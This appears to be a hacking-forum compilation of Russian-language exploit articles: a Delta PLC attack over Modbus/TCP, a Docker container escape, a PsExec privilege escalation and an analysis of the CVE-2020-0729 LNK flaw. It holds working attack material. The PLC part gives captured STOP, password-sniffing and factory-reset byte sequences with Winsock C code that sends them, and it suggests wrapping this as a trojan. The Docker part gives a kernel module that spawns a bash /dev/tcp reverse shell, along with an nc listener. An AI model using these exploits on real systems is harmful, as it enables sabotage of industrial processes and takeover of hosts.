)) { throw std::exception{ "WerReportSubmit failed, error" }; }
std::wcout << L"Submission result was:"s << SubmitResult << std::endl;
return true;
}
Источник: https://secret.club/2020/04/23/directory-deletion-shell.html
**Перевод специально для XSS.is
Автор перевода: danyrusdem **
Все началось с того, что в наши руки попал ПЛК Delta DVP-14SS211R. И завертелось... Ну а что делать хакеру с программируемым логическим контроллером? Ясное дело, исследовать и попробовать написать эксплойт. В одном из прошлых номеров мы рассказывали про уязвимости программируемых логических контроллеров, которые очень широко применяются в системах автоматизации производственных процессов, и про самый известный троян для такого рода систем — StuxNet. Сегодня мы продолжим исследовать эту тему и попытаемся написать небольшой эксплойт, с помощью которого можно вмешаться в производственный процесс, находящийся под управлением логического контроллера.
ГОТОВИМ ИСПЫТАТЕЛЬНЫЙ ПОЛИГОН
Сразу оговорюсь, что уязвимости, рассматриваемые в статье, характерны
практически для всех типов ПЛК, а не только для ПЛК Delta DVP-14SS211R,
который мы будем исследовать. И это не огрехи какого-то конкретного
производителя, а своего рода фундаментальная проблема — наследие того времени,
когда на первый план выходила простота реализации и экономическая
целесообразность, а вовсе не информационная безопасность и угроза
несанкционированного вмешательства.
Итак, для начала смоделируем маленькую SCADA-систему из одного ПЛК и нескольких рабочих мест. Наша «производственная линия» будет состоять из двух емкостей, охлаждающей колонны, насоса и задвижки. Задача линии — перекачивать жидкость из одной емкости в другую через охлаждающую колонну.
Рис. 1. Схема смоделированной «производственной линии»
Для управления всем этим хозяйством назначим двух операторов (один включает и выключает насос, другой открывает или закрывает задвижку) и одного директора (о, я буду директором. — Прим. ред.), который наблюдает за всеми действиями системы. Каждому из этих лиц оборудуем по одному АРМ. Саму SCADA-систему для каждого АРМ мы напишем в среде Trace Mode шестой версии (была выбрана потому, что бесплатно доступна в базовой версии и не нуждается в дополнительных исполняемых модулях для отладочного пуска и проверки системы). Подробности написания самой SCADA мы опустим, ибо на это нужно достаточно много места в журнале, которое, как обычно, на вес золота, да и основная цель исследования вовсе не разработка и написание SCADA-систем.
Рис. 2. Низший уровень управления нашей «производственной линии» (ПЛК, блок
питания и преобразователь интерфейса)
Помимо создания самой SCADA, еще необходимо написать программу для ПЛК. У нас имеются два исполнительных устройства (насос и задвижка), соответственно, на ПЛК мы задействуем два выхода Y0 и Y1 (выходы на всех ПЛК, как правило, обозначаются буквой Y, и каждый выход имеет свой номер). На выход Y0 мы повесим насос, а на выход Y1 — задвижку. Выход Y0 управляется внутренними реле контроллера M0 (включение) и M1 (выключение), а выход Y1 — реле M2 (включение) и M3 (выключение). На языке IL (список инструкций) это выглядит таким образом:
Code:Copy to clipboard
000000 LD M0
000001 OR Y0
000002 ANI M1
000003 OUT Y0
000004 LD M2
000005 OR Y1
000006 ANI M1
000007 OUT Y1
000008 END
Рис.3. Программа для ПЛК, написанная наязыке LD (язык лестничных диаграмм)
(все очень просто, два выхода и четыре реле)
Рис. 4. АРМ оператора задвижки
Рис. 5. АРМ оператора насоса
Рис. 6. АРМ директора «предприятия»
На АРМ оператора задвижки имеются две кнопки (для открывания и закрывания задвижки) и сигнальный индикатор, на АРМ оператора насоса также две кнопки (для пуска и останова насоса) и сигнальный индикатор. На АРМ директора выведены и кнопки управления задвижкой, и кнопки управления насосом, а также оба индикатора. Кнопки управления насосом связаны с внутренними реле ПЛК M0 и M1 (M0 — «Пуск», M1 — «Стоп»), сигнальный индикатор включения насоса связан с выходом Y1. Кнопки управления задвижкой связаны с внутренними реле ПЛК M2 и M3 (M2 — «Открыть», M3 — «Закрыть»), сигнальный индикатор задвижки связан с выходом Y1 (все эти связи прописываются в SCADA при ее проектировании).
Все три АРМ и ПЛК соединены в сеть. ПЛК Delta DVP14SS211R несет на борту только интерфейсы RS-232 и RS-485 (о них можешь прочитать на врезке) и не имеет возможности прямого включения в Ethernet-сеть. Поэтому пришлось задействовать дополнительный девайс под названием IFD-9507 — преобразователь интерфейсов из RS-485 в Ethernet. Помимо трех АРМ обслуживающего персонала, предусмотрим одно технологическое рабочее место, на котором установлен софт для программирования ПЛК (в нашем случае это WPLSoft, одна из программ, специально обученных для работы с ПЛК Delta). Это место в штатном режиме функционирования SCADA-системы не задействовано и служит для обновления прошивки ПЛК.
MODBUS - это открытый коммуникационный протокол, широко применяющийся в промышленности для организации связи между различными электронными устройствами. Основан на архитектуре «клиент — сервер». Для передачи данных может использовать последовательные линии связи RS-232 и RS-485, а также сеть Ethernet с применением протокола TCP/IP. Впервые был предложен компанией Modicon для использования в ее контроллерах. В настоящее время подавляющее большинство производителей элементов промышленной автоматики реализуют этот протокол в своих изделиях.
Click to expand...
Рис. 7. Топология нашей SCADA-системы
ИЩЕМ УЯЗВИМОСТИ
В статье «SCADA под прицелом» (][ номер 7 за 2011 год) была описана
уязвимость, характерная для большинства ПЛК, а именно возможность перевода ПЛК
в режим listen only. Этот режим позволяет вывести ПЛК из процесса обработки
команд и управления, что приведет к остановке технологического процесса в
целом. На многих ПЛК имеется переключатель RUN/ STOP (он выделен на фотографии
ПЛК), который позволяет это делать аппаратно (разумеется, для этого нужен
физический доступ к самому ПЛК). Кроме этого, можно перевести ПЛК в режим
listen only, отправив на ПЛК определенную последовательность команд (а это,
как ты сам понимаешь, уже позволит удаленно вмешаться в процесс управления).
Вот эту последовательность команд мы и попытаемся найти для нашего ПЛК Delta. Помимо этого, попробуем перехватить пароль, с помощью которого в ПЛК защищена от считывания его прошивка, а также посмотрим, можно ли удаленно вообще полностью обнулить память ПЛК.
Для решения поставленных задач будем использовать штатное средство для программирования ПЛК компании Delta Electronics — программу WPLSoft и широко известный в узких кругах Wireshark.
Удаленный пуск и останов ПЛК
В WPLSoft имеются две замечательные кнопочки RUN и STOP, которые как раз и
предназначены для управления ПЛК в ходе написания и отладки управляющей
программы. Подключаем ПЛК к компьютеру, устанавливаем связь WPLSoft с
подключенным ПЛК, запускаем Wireshark и смотрим, что посылается на ПЛК в
момент нажатия этих кнопочек. При нажатии кнопки STOP видим последовательность
из 12 байт, отправляемую на ПЛК по протоколу Modbus/TCP:
Code:Copy to clipboard
eah 97h 00h 00h 00h 06h 01h 05h 0ch 30h 00h 00h
Рис. 8. Перехваченная последовательность, позволяющая перевести ПЛК врежим
STOP
К нашей радости, Wireshark с легкостью распознает и раскладывает по полочкам все то, что передается по этому протоколу (подробно о нем читай на врезке, а если надо еще более подробно, то в Википедии). Итак, имеем номер транзакции — ea97h (60055 в десятичном виде — он, в принципе, может быть любым), идентификатор протокола — 0, длину передаваемых данных — 6 байт. В передаваемые данные входят: адрес ведомого устройства — 1 (в нашем случае устройство одно и его номер соответственно равен 1, если написать здесь ноль, то команда широковещательно пойдет всем ПЛК, которые висят на этой линии), код функции — 05 (запись значения одного флага — Force Single Coil), адрес этого флага 0c30h (3120 в десятичном виде), и оставшиеся два байта нулей означают, что мы данный флаг переводим в выключенное состояние.
Рис.9. Перехваченная последовательность, позволяющая перевести ПЛК врежим RUN
При нажатии кнопки RUN мы перехватим почти такую же последовательность, за исключением двух последних байт, там будет значение ff00h. Такое значение переводит флаг во включенное состояние.
Кнопки, позволяющие останавливать и запускать ПЛК, имеются практически во всех средах разработки программ для контроллеров (без них процесс написания и отладки программ для ПЛК был бы затруднителен), а это значит, что подсмотреть нужную последовательность байт можно не только для ПЛК Delta, как это сделали мы, но и для контроллеров других производителей.
Перехватываем пароль
Для защиты программы, которая находится в ПЛК, от несанкционированного
считывания в некоторых контроллерах можно устанавливать пароль. Делается это
посредством все той же программной среды, в которой пишутся программы для
каждого конкретного типа ПЛК. При этом во многих случаях этот пароль никоим
образом не шифруется и передается по Modbus/TCP в открытом виде.
Итак, пробуем. Выбираем опцию защиты программы при ее загрузке в ПЛК паролем, вводим пароль (чтобы было проще его отследить, мы ввели четыре заглавные буквы G), смотрим в Wireshark и видим его в одной из переданных на ПЛК последовательностей байт:
Рис. 10. Перехваченный пароль «GGGG»
Code:Copy to clipboard
e2h 07h 00h 00h 00h 09h 01h 64h 01h 0bh 04h 47h 47h 47h 47h
В общем, для того чтобы собрать все пароли в системе, нужно просто отлавливать последовательности 01h, 0bh, 04h, и идущие за ней четыре байта и будут паролем.
Обнуляем память ПЛК до заводских настроек
Для этого применим функцию Format PLC memory, заботливо предусмотренную
создателями WPLSoft (подобная функция имеется и в других средах разработки).
Итак, вызываем Format PLC memory, выбираем «Reset PLC memory (Factory
setting)», жмем подтверждение и смотрим в Wireshark. А там видим следующее:
Code:Copy to clipboard
33h 88h 00h 00h 00h 05h 01h 64h 01h 14h 00h
Первые два байта, как мы знаем, — это номер транзакции, следующие два — идентификатор протокола, далее два байта — длина сообщения (в нашем случае длина сообщения 5 байт), потом адрес устройства, далее код функции (у нас это 64h — функция не определена стандартом и реализуется на усмотрение производителя) и затем данные (три байта — 01h, 14h, 00h).
ПИШЕМ ЭКСПЛОЙТ
Остановить или обнулить ПЛК, как ты уже понял, довольно просто. Достаточно
отправить на контроллер нужную последовательность байт.
Для этого мы будем использовать Winsock API, поэтому для начала нужно подключить соответствующий заголовочный файл и библиотеку:
C:Copy to clipboard
#include "winsock.h"
#pragma comment(lib,"ws2_32.lib")
Далее создаем нужную последовательность:
C:Copy to clipboard
char BuffPLCOff[12] = {0x32, 0xf6, 0x00, 0x00, 0x00, 0x06, 0x01, 0x05, 0x0c, 0x30, 0x00, 0x00};
Надеюсь, ты узнал в этом массиве последовательность для перевода ПЛК в режим STOP. Первые два байта, как мы уже знаем, означают номер транзакции и могут быть любыми.
Далее все просто — инициализируем Winsock, создаем сокет, устанавливаем соединение и посылаем данные:
C:Copy to clipboard
// Инициализация Winsock
WSADATA wsaData;
WSAStartup(WINSOCK_VERSION, &wsaData);
// Создаем сокет
SOCKET Server;
Server = socket (AF_INET, SOCK_STREAM, IPPROTO_IP);
// Производим инициализацию сокета
sockaddr_in ServerAddr;
ServerAddr.sin_family = AF_INET;
// Используем 502-й порт (специально для Modbus/TCP)
ServerAddr.sin_port = htons(502);
// Сюда вместо xxx.xxx.xxx.xxx пишем IP-адрес
// ПЛК (как его узнать — чуть позже)
ServerAddr.sin_addr.S_un.S_addr = inet_addr("xxx.xxx.xxx.xxx");
// Устанавливаем соединение
connect(Server,(LPSOCKADDR)&ServerAddr, sizeof(ServerAddr));
// Получаем указатель на последовательность байт
char *pBufPLCOff = BuffPLCOff;
// Передаем данные
send(Server, pBuf,sizeof(BuffPLCOff),0);
Для форматирования памяти ПЛК до заводских настроек нужно создать такой массив:
C:Copy to clipboard
char BuffPLCFormat[11] = {0x32, 0xf6, 0x00, 0x00, 0x00, 0x05, 0x01, 0x64, 0x01, 0x14, 0x00};
АТАКА НА «ПРОИЗВОДСТВЕННУЮ ЛИНИЮ»
Настало время попробовать эксплойт в деле и провести атаку на нашу с таким
трудом созданную «производственную линию».
Для начала узнаем IP-адрес ПЛК (для того, чтобы его вставить в нужное место эксплойта). Конечно, лучше всего для этого взять специальную софтину типа «SCADA-аудитор» или еще что-нибудь подобное, но вполне можно обойтись и Nmap’ом. Если в списке открытых портов мы увидим порт за номером 502, то можно не сомневаться в принадлежности этого устройства. Порт номер 502 специально зарезервирован для протокола Modbus/TCP.
Рис. 11. Открытый 502-й порт на устройстве с IP-адресом 192.168.0.5
Далее тайно включаемся в сеть и ждем нужного момента для запуска эксплойта. Ничего не подозревающие операторы и директор наблюдают за «производством», включают и выключают насос, открывают и закрывают задвижку — и вдруг насос останавливается, задвижка закрывается, и все оборудование перестает реагировать на органы управления. А все из-за того, что мы отправили всего лишь 12 байт в нужное время и в нужное место.
Согласись, что если оформить такой эксплойт в виде трояна, срабатывающего по какому-нибудь условию (время/дата), подкинуть этот троян обслуживающему персоналу (например, по почте или на флешке) и применить пару эффективных приемов социальной инженерии, то получится довольно-таки опасная вещь.
ЗАКЛЮЧЕНИЕ
Может быть, ты уже заметил, что тема информационной безопасности SCADA-систем
в последнее время приобрела особую актуальность и постепенно выливается в
очень интересное и весьма перспективное направление деятельности.
Надеюсь, ты правильно воспримешь все, что написано в этой статье, и не станешь пытаться останавливать большой адронный коллайдер в Европейском центре ядерных исследований или прекращать выработку электроэнергии на Калининской АЭС, а сконцентрируешь свои усилия на конструктивных действиях, которые внесут вклад в решение большой проблемы безопасной работы критически важных и потенциально опасных объектов производства.
RS-232. Проводной дуплексный интерфейс. Метод передачи данных аналогичен асинхронному последовательному интерфейсу. В настоящее время можно встретить на очень древних компьютерах в виде 9- или 21-контактного разъема. Первые мышки подключались к компьютерам именно с помощью такого разъема. Информация передается по проводам двоичным сигналом с двумя уровнями напряжения. Логическому «0» соответствует положительное напряжение (от +5 до +15 В для передатчика), а логической «1» отрицательное (от –5 до –15 В для передатчика). Обеспечивает передачу данных и некоторых специальных сигналов на расстояние до 15 м.
Click to expand...
RS-485. Стандарт физического уровня для асинхронного интерфейса. Регламентирует электрические параметры полудуплексной многоточечной дифференциальной линии связи. В стандарте RS-485 для передачи и приема данных используется одна витая пара проводов, иногда с экранирующей оплеткой или общим проводом. Данные передаются с помощью дифференциальных сигналов. Разница напряжений между проводниками одной полярности означает логическую единицу, разница другой полярности — ноль. Стандарт RS-485 оговаривает только электрические и временные характеристики сигналов и не оговаривает параметры качества сигналов, протоколы обмена, типы проводов и соединителей.
Click to expand...
Modbus/TCP используется для передачи данных через TCP/IP-соединение в Ethernet-сетях.
Формат Modbus-пакета для передачи данных включает в себя шесть полей:
• ID транзакции (два байта);
• ID протокола (два байта, нули);
• длина пакета (два байта, сначала старший, затем младший, указывают количество байт, следующих за этим полем);
• адрес устройства (один байт, если в этом поле нули, то пакет адресован всем устройствам на линии);
• код функции (один байт, например 02h — чтение значений из нескольких дискретных входов или 05h — запись значения одного флага);
• данные (в зависимости от типа команды).Click to expand...
Источник: https://xakep.ru/issues/xa/185/
В реалиях 21 века все чаще и чаще на докер контейнерах разворачиваются сервера, web приложения, хосты.
Click to expand...
Но проблемы с безопасностью не кто не отменял, к примеру через уязвимость в веб приложении мы получаем шелл и попадаем в докер контейнер повезло если с правами root, и если повезло и получилось поднять привелегии, а может быть и от юзера разрешено , что дальше? Смотрим.
Расскажу и покажу один из примеров как можно выйти из контейнера в тачку на которой этот контейнер поднят.
Кароч смотрим есть ли у нас такая возможность
capsh --print
DF
Простор для полетов широк, нас интересует самое сладкое это CAP_SYS_MODULE подробнее о capabilities https://linux-audit.com/linux-capabilities-101/
смотрим ip нашей тачки
мы 172.17.0.2 а наш хост на которой поднят Docker в этом случае будет 172.17.0.1
Click to expand...
Пишем код
C:Copy to clipboard
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("random12345(C)");
MODULE_DESCRIPTION("reverse shell");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/"ipaddress"/"port" 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
По коду
Функция call_usermodehelper используется для создания процессов
пользовательского режима из пространства ядра.
Функция call_usermodehelper принимает три параметра:argv, envp и
UMH_WAIT_EXEC.
Аргументы программы хранятся в argv.
Переменные среды хранятся в envp.
UMH_WAIT_EXEC заставляет модуль ядра ждать, пока загрузчик выполнит
программу.
Сохраняем указанную выше программу как «reverse.c».
Создаем Makefile и компилим
obj-m +=reverse.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean[/CODE]
Собираем:
make
поднимаем листнера для принятия рутового шела с тачки родителя 8): nc -vnlp
4444
Запускаем скрипт:
insmod reverse.ko
.....magic.....
Наслаждаемся выходом из контейнера в тачку на которой его подняли! ЁУ
Ссылки:
__
api/API-call-usermodehelper.html)
www.kernel.org
__
IBM Developer is your one-stop location for getting hands-on training and learning in-demand skills on relevant technologies such as generative AI, data science, AI, and open source.
developer.ibm.com
__
helper-api/)
We already know that fork() and exec() are system calls for making a new process from user space. However, system calls cannot be called in kernel space. Then how to execute a process from kernel space? Usermode Helper API is for creating a user mode process from kernel space. Data structure...
insujang.github.io
docker.com
p.s
В новых ядрах начиная с 2.6 поддержка загрузки сетевых модулей при помощи CAP_SYS_MODULE признана устаревшей. И при попытке использовать виртуальные адаптеры в логах появляется сообщение:
Loading kernel module for a network device with CAP_SYS_MODULE (deprecated). Use CAP_NET_ADMIN and alias netdev-tun instead
Для того, чтобы исправить нужно в файл /etc/modprobe.d/dist.conf ( если файл не существует, то нужно создать ) добавить строку:
alias netdev-tun tun
В зависимости от имени интерфейса на которое ругается в сообщении.
Итак ... вот эта уязвимость cуществует уже давно: локальная уязвимость повышения привилегий в PsExec. Эта локальная эскалация привилегий позволяет процессу, не являющемуся администратором, стать SYSTEM, если PsExec выполняется локально или удаленно на целевой машине. Я смог подтвердить, что она работает с Windows 10 до XP, и, согласно моему расследованию, она затрагивает версии от PsExec v2.2 (последний на момент написания) вплоть до v1.72 (2006). Мы дали Microsoft 90 дней на исправление проблемы, но она еще не исправлена.
*gif на форум залить не получилось
Если вы не знакомы с PsExec, это инструмент системного администратора, входящий в состав [пакета SysInternals](https://docs.microsoft.com/en- us/sysinternals/downloads/), который позволяет удаленно выполнять приложения на клиентских машинах. Ниже я кратко описываю, как работает PsExec:
PsExec содержит встроенный ресурс под названием «PSEXESVC», который
представляет собой исполняемый компонент уровня обслуживания, который
извлекается, копируется и выполняется на удаленном компьютере как SYSTEM
всякий раз, когда клиент PsExec выполняет PsExec, нацеленное на удаленный
компьютер. Связь между клиентом PsExec и удаленной службой PSEXESVC
осуществляется по именованным каналам. В частности, канал с именем «
PSEXESVC» отвечает за синтаксический анализ и выполнение команд клиента
PsExec, таких как «какое приложение выполнять», «соответствующие данные
командной строки» и т.д
Конечно, из соображений безопасности канал «\ PSEXESVC» службы PSEXESVC защищен и разрешает доступ только администраторам для чтения / записи, тем самым предотвращая чтение / запись в канал службы локальных пользователей с низким уровнем привилегий.
Однако через приседание канала (метод, при котором вы сначала создаете канал), приложение с низким уровнем привилегий может получить доступ к этому каналу. Если локальное приложение с низким уровнем привилегий создает именованный канал «\ PSEXESVC» до выполнения PSEXESVC, то PSEXESVC получит дескриптор существующего экземпляра, а не создает сам именованный канал, что, как мы увидим позже, будет иметь некоторые неожиданные последствия. Ниже я покажу как PSEXESVC создает канал «\ PSEXESVC».
Здесь мы видим из аргумента nMaxInstances, что он позволяет существовать
неограниченному количеству экземпляров канала «\PSEXESVC». Мы также видим, что
это не гарантирует, что это первое приложение, которое создает канал «
PSEXESVC», что обычно делается с помощью флага FILE_FLAG_FIRST_PIPE_INSTANCE.
В этом случае он попытается создать именованный канал, и, если он уже
существует, просто получит дескриптор существующего канала «\ PSEXESVC» после
вызова. Это приведет к унаследованию существующего ACL канала вместо того,
чтобы применять к каналу собственный ACL «Только администраторы», независимо
от того, что в атрибутах безопасности указано иное в его вызове
CreateNamedPipe (см. Выше).
Здесь я создал простую программу «PipeHijack.exe», которая создает этот канал «\ PSEXESVC» с доступом для чтения / записи, доступным для «Дэвида Уэллса», пользователя без повышенных прав.
При этом запуске, если PsExec когда-либо будет выполняться локально или удаленно на этом компьютере в будущем, экземпляр PSEXESVC получит дескриптор моего канала, который я, конечно, могу читать / писать, тем самым позволяя моему приложению с низким уровнем привилегий взаимодействовать с это сервис PSEXESVC SYSTEM!
На этом по сути конец. Все, что мне нужно было сделать, это поговорить со службой PSEXESVC. Я перепроектировал протокол PSEXESVC v2.2 и создал способ связи по этому каналу и выполнения любого желаемого двоичного файла, который я хочу, как SYSTEM. По сути, это имитирует клиент PsExec, от которого он думает, что получает команды, поэтому выполнить любой процесс как SYSTEM довольно просто.
Полный PoC вы можете найти его здесь: https://github.com/tenable/poc/tree/master/Microsoft/Sysinternals/PsExecEscalate.cpp
От ТС
Оригинал вот: <https://medium.com/tenable-techblog/psexec-local-privilege-
escalation-2e8069adc9c8>
Перевод:
Azrv3l cпециально для xss.is
Microsoft за февраль 2020 года выпустила исправления безопасности для 99 ошеломляющих CVE, и это довольно большое количество, которое нужно исправить за один месяц. Хотя активно эксплуатируемой уязвимости Scripting Engine было уделено много внимания, особо выделялась другая уязвимость, оцененная как критическая. CVE-2020-0729 была признана уязвимостью удаленного выполнения кода с использованием файлов Windows LNK, также известных как файлы ярлыков. Отчасти эта уязвимость настолько убедительна, что исторически эксплойты для уязвимостей в файлах LNK использовались для распространения вредоносных программ, таких как знаменитый Stuxnet, и, в подавляющем большинстве случаев, они просто просматривали папку, содержащую вредоносный файл LNK, будь то локальную или сетевую папку, достаточную, чтобы вызвать уязвимость. Тогда возникает вопрос, имеет ли эта уязвимость такой же потенциал для эксплуатации, как и некоторые из прошлых уязвимостей LNK? В связи с тем, что файлы LNK представляют собой двоичный формат файлов, в котором имеется документация только для нескольких структур верхнего уровня, для ответа на этот вопрос требуется много покопаться в коде.
Начало анализа
Для Microsoft Patch Tuesday это стандартная процедура для нашей исследовательской группы: начать анализ уязвимости с распаковки пакета исправлений "только для безопасности" для данной платформы Windows и, на основе информации из рекомендаций Microsoft, попытаться найти файлы в патче, которые скорее всего связаны с уязвимостью. Февральский пакет исправлений не содержал обновлений ни для одной из обычных библиотек DLL, обычно связанных с обработкой LNK-файлов, таких как shell32.dll и windows.storage.dll, что заставляло нас ломать голову над тем, в чем может заключаться проблема. Однако при внимательном рассмотрении списка файлов нам удалось выделить одну конкретную DLL: StructuredQuery.dll. Одна из причин, по которой это выделялось, заключается в том, что в прошлом мы видели уязвимости, явно названные как связанные со StructuredQuery, например CVE-2018-0825, но в этом конкретном патче во вторник таких рекомендаций не существует. Итак, какова связь между файлами LNK и StructuredQuery? Быстрый поиск StructuredQuery в Microsoft’s Windows Dev Center приводит нас к документации по заголовку structuredquery.h, который сообщает нам, что он используется Windows Search и именно здесь соединяются файлы LNK и StructuredQuery.
Многочисленные способности файлов LNK
Файлы LNK в основном известны тем, что содержат двоичные структуры, которые создают ярлык для файла или папки, но менее известной особенностью является то, что они могут напрямую содержать сохраненный поиск. Обычно, когда пользователь ищет файл в Windows 10, на панеле проводника появляется вкладка "Инструменты поиска", позволяющая пользователю уточнить свой поиск и выбрать дополнительные параметры для поискового запроса. Вкладка также позволяет пользователям сохранять существующий поиск для повторного использования в более позднее время, в результате чего сохраняется XML-файл с расширением ".search-ms", формат файла, который задокументирован лишь частично.
Однако это не единственный способ сохранить поиск. Если щелкнуть и перетащить значок результатов поиска из адресной строки, выделенной на изображении ниже, в другую папку, будет создан файл LNK, содержащий сериализованную версию данных, которые будут содержаться в XML-файле search-ms.
Имея это в виду, давайте взглянем на патч diff для StructuredQuery с использованием BinDiff.
Как мы видим, изменилась только одна функция, StructuredQuery1::ReadPROPVARIANT (), и, судя по всему, она изменилась довольно сильно, основываясь на сходстве всего 81%. Беглое сравнение потоковых диаграмм может подтвердить, что изменения довольно обширны:
Что именно делает эта функция в контексте файла LNK? Ответ требует подробного изучения недокументированных структур, содержащихся в сохраненном файле LNK для поиска, так что давайте углубимся и посмотрим.
Файлы ссылок оболочки Windows содержат несколько обязательных и дополнительных компонентов, как определено в спецификации формата двоичного файла ссылки оболочки (.LNK). Каждый файл ссылки оболочки должен содержать, как минимум, заголовок ссылки оболочки, который имеет следующий формат:
Все многобайтовые поля представлены в порядке little-endian байта, если не указано иное.
Поле LinkFlags указывает отсутствие дополнительных структур, а также различные параметры, например, кодируются ли строки в ссылке оболочки в Unicode или нет. Ниже приведен иллюстративный макет поля LinkFlags:
Один флаг, который устанавливается в большинстве случаев, HasLinkTargetIDList, представлен позицией "A", младшим битом первого байта поля LinkFlags. Если установлено, структура LinkTargetIDList должна следовать за заголовком ссылки оболочки. Структура LinkTargetIDList определяет цель ссылки и имеет следующий макет:
Структура IDList, содержащаяся внутри, определяет формат постоянного списка идентификаторов элементов:
ItemIDList служит той же цели, что и путь к файлу, где каждая структура ItemID
соответствует одному компоненту пути в иерархии, подобной пути. Идентификаторы
элементов могут относиться к реальным папкам файловой системы, виртуальным
папкам, таким как панель управления или сохраненные результаты поиска, или
другим формам встроенных данных, которые служат "ярлыком" для выполнения
определенной функции.
Для получения более общей информации о ItemIDs и ItemIDLists смотри общие
концепции Microsoft Explorer. Особое значение для уязвимости имеют структуры
ItemIDList и ItemID, присутствующие в файле LNK, который содержит сохраненный
поисковый запрос.
Когда пользователь создает ярлык, содержащий информацию о поиске, результирующий файл содержит структуру IDList, которая начинается с идентификатора элемента папки делегата, за которым следует идентификатор элемента представления свойств пользователя, специфичный для поисковых запросов. Как правило, ItemID начинается со следующей структуры:
Значение двух байтов, начинающихся со смещения 0x0004, используется в сочетании с ItemSize и ItemType, чтобы помочь определить тип ItemID. Например, если ItemSize равен 0x14, а ItemType равен 0x1F, проверяются 2 байта в 0x0004, чтобы увидеть, больше ли их значение, чем ItemSize. Если это так, предполагается, что оставшиеся данные ItemID будут состоять из 16-байтового глобального уникального идентификатора (GUID). Обычно это структура первого ItemID, найденного в файле LNK, указывающего на файл или папку. Если ItemSize больше размера, необходимого для содержания GUID, но меньше байтов в 0x0004, оставшиеся данные после GUID считаются ExtraDataBlock, начиная с поля размером 2 байта, за которым следует это количество байтов данных.
Для идентификатора элемента папки делегата те же 2 байта соответствуют полю размера для оставшейся структуры, что приводит к следующей общей структуре:
Все идентификаторы GUID в файлах LNK хранятся с использованием представления RPC IDL для идентификаторов GUID. Представление RPC IDL означает, что первые три сегмента GUID хранятся как представления с прямым порядком байтов всего сегмента (т.е. DWORD, за которым следуют 2 WORD), тогда как каждый байт в последних 2 сегментах считается индивидуальным. Например, GUID {01234567-1234-ABCD-9876-0123456789AB} имеет следующее двоичное представление:
\x67\x45\x23\x01\x34\x12\xCD\xAB\x98\x76\x01\x23\x45\x67\x89\xAB
Click to expand...
Точная функция идентификаторов элементов папки делегата не документирована. Однако вполне вероятно, что такая запись предназначена для того, чтобы последующие идентификаторы элементов обрабатывались классом, указанным в поле GUID элемента, тем самым устанавливая этот класс в качестве корневого пространства имен для иерархии. В случае файла LNK, содержащего встроенные данные поиска, GUID элемента будет {04731B67-D933-450A-90E6-4ACD2E9408FE}, что соответствует CLSID_SearchFolder, ссылке на Windows.Storage.Search.dll.
За идентификатором элемента папки делегата следует идентификатор элемента представления свойств пользователя, который имеет структуру, аналогичную структуре идентификатора элемента папки делегата:
Особое значение для этого отчета имеет поле PropertyStoreList, которое, если оно присутствует, содержит один или несколько сериализованных элементов PropertyStore, каждый из которых имеет следующую структуру:
Поле данных хранилища свойств представляет собой последовательность свойств. Все свойства в данном магазине PropertyStore принадлежат классу, определяемому GUID формата свойства. Каждое конкретное свойство идентифицируется числовым идентификатором, известным как идентификатор свойства или PID, который в сочетании с GUID формата свойства известен как ключ свойства или PKEY. PKEY определяется несколько иначе, если GUID формата свойств равен {D5CDD505-2E9C-101B-9397-08002B2CF9AE}. В этом случае каждое свойство считается частью "Property Bag" и имеет следующую структуру:
Пакеты свойств обычно содержат элементы с именами "Ключ:FMTID" и "Ключ:PID", определяющие конкретный PKEY, который определяет интерпретацию других элементов. Для определенных реализаций Property Bag также потребуется наличие других элементов, чтобы быть действительными.
Если GUID формата свойств не равен ранее упомянутому GUID для пакетов свойств, каждое свойство идентифицируется целочисленным значением PID и имеет следующую структуру:
Поле TypedPropertyValue соответствует типизированному значению свойства в наборе свойств, как определено в разделе 2.15 спецификации структур данных набора свойств Microsoft Object Linking and Embedding (OLE).
Различные ключи PKEY определены в заголовках, поставляемых с Windows SDK. Однако многие из них недокументированы и могут быть идентифицированы только путем изучения ссылок в отладочных символах для связанных библиотек. Для файлов LNK, содержащих встроенные данные поиска, первое хранилище свойств в идентификаторе элемента представления свойств пользователя имеет GUID формата свойства {1E3EE840-BC2B-476C-8237-2ACD1A839B22}, содержащий свойство с идентификатором 2, что соответствует PKEY_FilterInfo.
Поле TypedPropertyValue PKEY_FilterInfo состоит из свойства VT_STREAM. Обычно свойство VT_STREAM состоит из типа 0x0042, 2 байта заполнения и IndirectPropertyName, который указывает имя альтернативного потока, содержащего либо пакет PropertySetStream для хранения простого набора свойств, либо элемент потока "CONTENTS" для непростого набора свойств. хранилище согласно документации Microsoft. Это имя указывается с помощью строки широких символов "prop", за которой следует десятичная строка, соответствующая идентификатору свойства в пакете PropertySet. Однако, поскольку файлы LNK используют сериализованные хранилища свойств, встроенные в свойства VT_STREAM, IndirectPropertyName проверяется только для того, чтобы узнать, начинается ли оно с "prop". Само значение игнорируется. В результате получается следующая структура TypedPropertyValue:
Содержимое поля Stream Data зависит от конкретного PKEY, которому принадлежит свойство потока. Для PKEY_FilterInfo Stream Data по существу содержит встроенный PropertyStoreList с более сериализованными структурами PropertyStore и имеет следующую структуру:
Вложенный PropertyStoreList в потоке PKEY_FilterInfo представляет собой сериализованную версию тега "условия" в файле .search-ms. Ниже приведен пример структуры тега условий:
Точная функциональность элемента атрибута публично не документирована. Однако элемент атрибута содержит GUID, соответствующий CONDITION_HISTORY, и CLSID, который соответствует классу CConditionHistory в StructuredQuery, что означает, что вложенные структуры условий и атрибутов представляют историю поискового запроса до его сохранения. В общем, похоже, что атрибут chs элемента attribute определяет, присутствует ли какая-либо дополнительная история. Когда эта структура сериализуется в хранилище свойств, она помещается в PKEY_FilterInfo PropertyStoreList, который принимает форму пакета свойств с вышеупомянутым GUID формата свойства. Более конкретно, сериализованная структура условий содержится в свойстве VT_STREAM, которое идентифицируется именем "Условие". В результате элемент PropertyStore имеет следующую структуру:
